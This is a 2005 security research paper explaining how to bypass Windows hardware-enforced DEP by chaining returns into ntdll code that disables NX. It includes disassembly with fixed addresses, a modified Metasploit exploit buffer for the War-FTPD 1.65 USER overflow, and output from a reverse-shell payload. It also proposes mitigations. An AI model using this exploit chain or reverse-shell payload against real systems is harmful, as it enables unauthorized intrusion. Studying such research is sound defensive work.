http://www.nologin.org

Bypassing Windows Hardware-enforced Data Execution Prevention

---

Oct 2, 2005

skape
mmiller@hick.org

Skywing
Skywing@valhallalegends.com

One of the big changes that Microsoft introduced in Windows XP Service Pack 2 and Windows 2003 Server Service Pack 1 was support for a new feature called *Data Execution Prevention*[2] (DEP). This feature was added with the intention of doing exactly what its name implies: preventing the execution of code in non-executable memory regions. This is particulary important when it comes to preventing the exploitation of most software vulnerabilities because most exploits tend to rely on storing arbitrary code in what end up being non-executable memory regions, such as a thread stack or a process heap[1].

DEP itself is capable of functioning in two modes. The first mode is referred to as *Software-enforced DEP*. It provides fairly limited support for preventing the execution of code through exploits that take advantage of Structured Exception Handler (SEH) overwrites. Software-enforced DEP is used on machines that are not capable of supporting true non-executable pages due to inadequate hardware support. Software-enforced DEP is also a compile-time only change, and as such is typically limited to system libraries and select third-party applications that have been recompiled to take advantage of it. Bypassing this mode of DEP has been discussed before and is not the focus of this document.

The second mode in which DEP can operate is referred to as *Hardware-enforced DEP*. This mode is a superset of software-enforced DEP and is used on hardware that supports marking pages as non-executable. While most existing intel-based hardware does not have this feature (due to legacy support for only marking pages as readable or writable), newer chipsets are beginning to have true hardware support through things like *Page Address Extensions* (PAE). Hardware-enforced DEP is the most interesting of the two modes since it can be seen as a truly mitigating factor to most common exploitation vectors. The bypass technique described in this document is designed to be used against this mode.

Before describing the technique, it is prudent to understand the parameters under which it will operate. In this case, the technique is meant to provide a way of executing code from regions of memory that would not typically be executable when hardware-enforced DEP is in use, such as a thread stack or a process heap. This technique can be seen as a means of eliminating DEP from the equation when it comes to writing exploits because the commonly used approach of executing custom code from a writable memory address can still be used. Furthermore, this technique is meant to be as generic as possible such that it can be used in both existing and new exploits without major modifications. With the parameters set, the next requirement is to understand some of the new features that compose hardware-enforced DEP.

When implementing support for DEP, Microsoft rightly realized that many existing third-party applications might run into major compatibility issues due to

[1] There are other documented techniques for bypassing non-executable protections, such as returning into `ZwProtectVirtualMemory` or doing a chained *ret2libc* style attack, but these approaches tend to be more complicated and in many cases are more restricted due to the need to use bytes (such as `NULL` bytes) that would otherwise be unusable in common situations.

assumptions about whether or not a region of allocated memory is executable. In order to handle this situation, Microsoft designed DEP so that it could be configured in a few different manners. At the most general level, DEP is designed to have a default parameter that indicates whether or not non-executable protection is enabled only for system processes and custom defined applications (OptIn), or whether it's enabled for everything except for applications that are specifically exempted (OptOut). These two flags are passed to the kernel during boot through the `/NoExecute` option in `boot.ini`. Furthermore, two other flags can be passed as part of the `NoExecute` option to indicate that DEP should be `AlwaysOn` or `AlwaysOff`. These two settings force a flag to be set for each process that permanently enables or disables DEP. The default setting on Windows XP SP2 is OptIn, while the default setting on Windows 2003 Server SP1 is OptOut.

Aside from the global system parameter, DEP can also be enabled or disabled on a per-process basis. The disabling of non-executable (NX) support for a process is determined at execution time. To support this, a new internal routine was added to `ntdll.dll` called `LdrpCheckNXCompatibility`. This routine checks a few different things to determine whether or not NX support should be enabled for the process. The routine itself is called whenever a DLL is loaded in the context of a process through `LdrpRunInitializationRoutines`. The first check it performs is to see if a SafeDisc DLL is being loaded. If it is, NX support is flagged as needing to be disabled for the process. The second check it performs is to look in the application database for the process to see if NX support should be disabled or enabled. Lastly, it checks to see if the DLL that is being loaded is flagged as having an NX incompatible section (such as `.aspack`, `.pcle`, and `.sforce`).

As a result of these checks, NX support is either enabled or disabled through a new `PROCESSINFOCLASS` named `ProcessExecuteFlags` (`0x22`). When a call to `NtSetInformationProcess` is issued with this information class, a four byte bitmask is supplied as the buffer parameter. This bitmask is passed to `nt!MmSetExecuteOptions` which performs the appropriate operation. Optionally, a flag (`MEM_EXECUTE_OPTION_PERMANENT`, or `0x8`) can also be specified as part of the bitmask that indicates that future calls to the function should fail such that the execute flags cannot be changed again. To enable NX support, the `MEM_EXECUTE_OPTION_DISABLE` flag (`0x1`) is specified. To disable NX support, the `MEM_EXECUTE_OPTION_ENABLE` flag (`0x2`) is specified. Depending on the state of these per-process flags, execution of code from non-executable memory regions will either be permitted (`MEM_EXECUTE_OPTION_ENABLE`) or denied (`MEM_EXECUTE_OPTION_DISABLE`).

If it were in some way possible for an attacker to change the execution flags of a process that is being exploited, then it follows that the attacker would be able to execute code from previously non-executable memory regions. In order to do this, though, the attacker would have to run code from regions of memory that are already executable. As chance would have it, there happen to be useful executable memory regions, and they exist at the same address in

every process[2].

To take advantage of this feature, an attacker must somehow cause `NtSetInformationProcess` to be called with the `ProcessExecuteFlags` information class. Furthermore, the `ProcessInformation` parameter must be set to a bitmask that has the `MEM_EXECUTE_OPTION_ENABLE` bit set, but not the `MEM_EXECUTE_OPTION_DISABLE` bit set. The following code illustrates a call to this function that would disable NX support for the calling process:

```
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
    NtCurrentProcess(),    // (HANDLE)-1
    ProcessExecuteFlags,   // 0x22
    &ExecuteFlags,         // ptr to 0x2
    sizeof(ExecuteFlags)); // 0x4
```

One method of accomplishing this would be to use a `ret2libc` derived attack whereby control flow is transferred into the `NtSetInformationProcess` function with an attacker-controlled frame set up on the stack. In this case, the arguments described to the right in the above code snippet would have to be set up on the stack so that they would be interpreted correctly when `NtSetInformationProcess` begins executing. The biggest drawback to this approach is that it would require NULL bytes to be usable as part of the buffer that is used for the overflow. Generally speaking, this will not be possible, especially with any overflow that is caused through the use of a string function. However, when possible, this approach can certainly be useful.

Though a direct return into `NtSetInformationProcess` may not be universally feasible, another technique can be used that lends itself to being more generally applicable. Under this approach, the attacker can take advantage of code that already exists within `ntdll` for disabling NX support for a process. By returning into a specific chunk of code, it is possible to disable NX support just as `ntdll` would while still being able to transfer control back into a user-controlled buffer. The one limitation, however, is that the attacker be able to control the stack in a way similar to most `ret2libc` style attacks, but without the need to control arguments.

The first step in this process is to cause control to be transferred to a location in memory that performs an operation that is equivalent to a `mov al, 0x1 / ret` combination. Many instances of similar instructions exist (`xor eax, eax/inc eax/ret`; `mov eax, 1/ret`; etc). One such instance can be found in the `ntdll!NtdllOkayToLockRoutine` function.

```
ntdll!NtdllOkayToLockRoutine:
```

[2]With a few parameters that will be discussed later

```
7c952080 b001              mov     al,0x1
7c952082 c20400            ret     0x4
```

This will cause the low byte of `eax` to be set to one for reasons that will become apparent in the next step. Once control is transferred to the `mov` instruction, and then subsequently the `ret` instruction, the attacker must have set up the stack in such a way that the `ret` instruction actually returns into another segment of code inside `ntdll`. Specifically, it should return part of the way into the `ntdll!LdrpCheckNXCompatibility` routine.

```
ntdll!LdrpCheckNXCompatibility+0x13:
7c91d3f8 3c01              cmp     al,0x1
7c91d3fa 6a02              push    0x2
7c91d3fc 5e                pop     esi
7c91d3fd 0f84b72a0200      je   ntdll!LdrpCheckNXCompatibility+0x1a (7c93feba)
```

In this block, a check is made to see if the low byte of `eax` is set to one. Regardless of whether or not it is, `esi` is initialized to hold the value 2. After that, a check is made to see if the zero flag is set (as would be the case if the low byte of `eax` is 1). Since this code will be executed after the first `mov al, 0x1` / `ret` set of instructions, the ZF flag will always be set, thus transferring control to `0x7c93feba`.

```
ntdll!LdrpCheckNXCompatibility+0x1a:
7c93feba 8975fc            mov     [ebp-0x4],esi
7c93febd e941d5fdff        jmp  ntdll!LdrpCheckNXCompatibility+0x1d (7c91d403)
```

This block sets a local variable to the contents of `esi`, which in this case is 2. Afterwards, it transfers to control to `0x7c91d403`.

```
ntdll!LdrpCheckNXCompatibility+0x1d:
7c91d403 837dfc00          cmp     dword ptr [ebp-0x4],0x0
7c91d407 0f8560890100      jne  ntdll!LdrpCheckNXCompatibility+0x4d (7c935d6d)
```

This block, in turn, compares the local variable that was just initialized to 2 with 0. If it's not zero (which it won't be), control is transferred to `0x7c935d6d`.

```
ntdll!LdrpCheckNXCompatibility+0x4d:
7c935d6d 6a04              push    0x4
7c935d6f 8d45fc            lea     eax,[ebp-0x4]
7c935d72 50                push    eax
7c935d73 6a22              push    0x22
```

```
7c935d75 6aff              push    0xff
7c935d77 e8b188fdff        call    ntdll!ZwSetInformationProcess (7c90e62d)
7c935d7c e9c076feff        jmp  ntdll!LdrpCheckNXCompatibility+0x5c (7c91d441)
```

It's at this point that things begin to get interesting. In this block, a call is issued to `NtSetInformationProcess` with the `ProcessExecuteFlags` information class. The `ProcessInformation` parameter pointer is passed which was previously initialized to 2[3]. This results in NX support being disabled for the process. After the call completes, it transfers control to `0x7c91d441`.

```
ntdll!LdrpCheckNXCompatibility+0x5c:
7c91d441 5e                pop     esi
7c91d442 c9                leave
7c91d443 c20400            ret     0x4
```

Finally, this block simply restores saved registers, issues a `leave` instruction, and returns to the caller. In this case, the attacker will have set up the frame in such a way that the `ret` instruction actually returns into a general purpose instruction that transfers control into a controllable buffer that contains the arbitrary code to be executed now that NX support has been disabled.

This approach requires the knowledge of three addresses. First, the address of the `mov al, 0x1` / `ret` equivalent must be known. Fortunately, there are many occurrences of this type of block, though they may not be as simplistic as the one described in this document. Second, the address of the start of the `cmp al, 0x1` block inside `ntdll!LdrpCheckNXCompatibility` must be known. By depending on two addresses within `ntdll`, it stands to reason that an exploit can be more portable than if one were to depend on addresses from two different DLLs. Finally, the third address is the one that would be the one that is typically used on targets that didn't have hardware-enforced DEP, such as a `jmp esp` or equivalent instruction depending on the vulnerability in question.

Aside from specific address limitations, this approach also relies on the fact that `ebp` is pointed to a valid, writable address such that the value that indicates that NX support should be disabled can be temporarily stored. This can be accomplished a few different ways, depending on the vulnerability, so it is not seen as a largely limiting factor.

To test this approach, the authors modified the `warftpd_165_user` exploit from the `Metasploit Framework` that was written by `Fairuzan Roslan`[1]. This vulnerability is a simple stack overflow. Prior to our modifications, the exploit was implemented in the following manner:

```
my $evil = $self->MakeNops(1024);
```

[3]The reason this has to point to 2 and not some integer that has just the low byte set to 2 is because `nt!MmSetExecutionOptions` has a check to ensure that the unused bits are not set

```
substr($evil, 485, 4, pack("V", $target->[1]));
substr($evil, 600, length($shellcode), $shellcode);
```

This code built a NOP sled of 1024 bytes. At byte index 485, the return address was stored after which point the shellcode was appended[4]. When run against a target that supports hardware-enforced DEP, the exploit fails when it tries to execute the first instruction of the NOP sled because the region of memory (the thread stack) is marked as non-executable.

Applying the technique described above, the authors changed the exploit to send a buffer structured as follows:

```
my $evil = "\xcc" x 485;
$evil .= "\x80\x20\x95\x7c";
$evil .= "\xff\xff\xff\xff";
$evil .= "\xf8\xd3\x91\x7c";
$evil .= "\xff\xff\xff\xff";
$evil .= "\xcc" x 0x54;
$evil .= pack("V", $target->[1]);
$evil .= $shellcode;
$evil .= "\xcc" x (1024 - length($evil));
```

In this case, a buffer was built that contained 485 `int3` instructions. From there, the buffer was set to overwrite the return address with a pointer to `ntdll!NtdllOkayToLockRoutine`. Since this routine does a `retn 0x4`, the next four bytes are padding as a fake argument that is popped off the stack. Once `NtdllOkayToLockRoutine` returns, the stack would point 493 bytes into the evil buffer that is being built (immediately after the `0x7c952080` return address overwrite and the fake argument). This means that `NtdllOkayToLockRoutine` would return into `0x7c91d3f8`. This block of code is what evaluates the low byte of `eax` and eventually leads to the disabling of NX support for the process. Once completed, the block pops saved registers off the stack and issues a leave instruction, moving the stack pointer to where `ebp` currently points. In this case, `ebp` was `0x54` bytes away from `esp`, so we inserted `0x54` bytes of padding. Once the block does this, the stack pointer will point 577 bytes into the evil buffer (immediately after the `0x54` bytes of padding). This means that it will return into whatever address is stored at this location. In this case, the buffer is populated such that it simply returns into the target-specified return address (which is a `jmp esp` equivalent instruction). From there, the `jmp esp` instruction is executed which transfers control into the shellcode that immediately follows it. Once executed, the exploit works as if nothing had changed:

[4] In reality, it may not be the return address that is being overwritten, but instead might be a function pointer. The fact that it is at a misaligned address lends credence to this fact, though it is certainly not a clear indication

```
$ ./msfcli warftpd_165_user_dep RHOST=192.168.244.128 RPORT=4446 \
  LHOST=192.168.244.2 LPORT=4444 PAYLOAD=win32_reverse TARGET=2 E
[*] Starting Reverse Handler.
[*] Trying Windows XP SP2 English using return address 0x71ab9372....
[*] 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
[*] Sending evil buffer....
[*] Got connection from 192.168.244.2:4444 <-> 192.168.244.128:46638

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\War-ftpd>
```

As can be seen, the technique described in this document outlines a feasible method that can be used to circumvent the security enhancements provided by hardware-enforced DEP in the default installations of Windows XP Service Pack 2 and Windows 2003 Server Service Pack 1. The flaw itself is not related to any specific inefficiency or mistake made during the actual implementation of hardware-enforced DEP support, but instead is a side effect of a design decision by Microsoft to provide a mechanism for disabling NX support for a process from within a user-mode process. Had it been the case that there was no mechanism by which NX support could be disabled at runtime from within a process, the approaches outlined in this document would not be feasible.

In the interest of not presenting a problem without also describing a solution, the authors have identified a few different ways in which Microsoft might be able to solve this. To prevent this approach, it is first necessary to identify the things that it depends on. First and foremost, the technique depends on knowing the location of three separate addresses. Second, it depends on the feature being exposed that allows a user-mode process to disable NX support for itself. Finally, it depends on the ability to control the stack in a manner that allows it perform a `ret2libc` style attack[5].

The first dependency could be broken by instituting some form of Address Space Layout Randomization that would thereby make the location of the dependent code blocks unknown to an attacker. The second dependency could be broken by moving the logic that controls the enabling and disabling of a process' NX support to kernel-mode such that it cannot be influenced in such a direct manner. This approach is slightly challenging considering the model that it is

[5]This is possible even when an SEH overwrite is leveraged, given the right conditions. The basic approach is to locate a `pop reg, pop reg, pop esp, ret` instruction set in a region that is not protected by SafeSEH (such as a third-party DLL that was not compiled with /GS). The `pop esp` shifts the stack to the start of the `EstablisherFrame` that is controlled by the attacker and the `ret` returns into the address stored within the overwritten `Next` pointer. If one were to set the `Next` pointer to the location of the `NtdllOkayToLockRoutine` and the stack were set up as explained above, the technique used to bypass hardware-enforced DEP that is described in this document could be made to work.

currently implemented under requires the ability to disable NX support when certain events (such as the loading of an incompatible DLL) occur. Although it may be more challenging, the authors see this as being the most feasible approach in terms of compatibility. Lastly, the final dependency is not really something that Microsoft can control. Aside from these potential solutions, it might also be possible to come up with a way to make it so the permanent flag is set sooner in the process' initialization, though the authors are not sure of a way in which this could be made possible without breaking support for disabling when certain DLLs are loaded.

In closing, the authors would like to make a special point to indicate that Microsoft has done an excellent job in raising the bar with their security improvements in XP Serivce Pack 2. The technique outlined in this document should not be seen as a case of Microsoft failing to implement something securely, as the provisions are certainly there to deploy hardware-enforced DEP in a secure fashion, but instead might be better viewed as a concession that was made to ensure that application compatibility was retained for the general case. There is almost always a trade-off when it comes to providing new security features in the face of potential compatibility problems, and it can be said that perhaps no company other than Microsoft is more well known for retaining backward compatibility.

Bibliography

[1] The Metasploit Project. *War-ftpd 1.65 USER Overflow.* http://www.metasploit.com/projects/Framework/exploits.html#warftpd_165_user; accessed Oct 2, 2005.

[2] Microsoft Corporation. *Data Execution Prevention.* http://www.microsoft.com/technet/prodtechnol/windowsserver2003/library/BookofSP1/b0de1052-4101-44c3-a294-4da1bd1ef227.mspx; accessed Oct 2, 2005.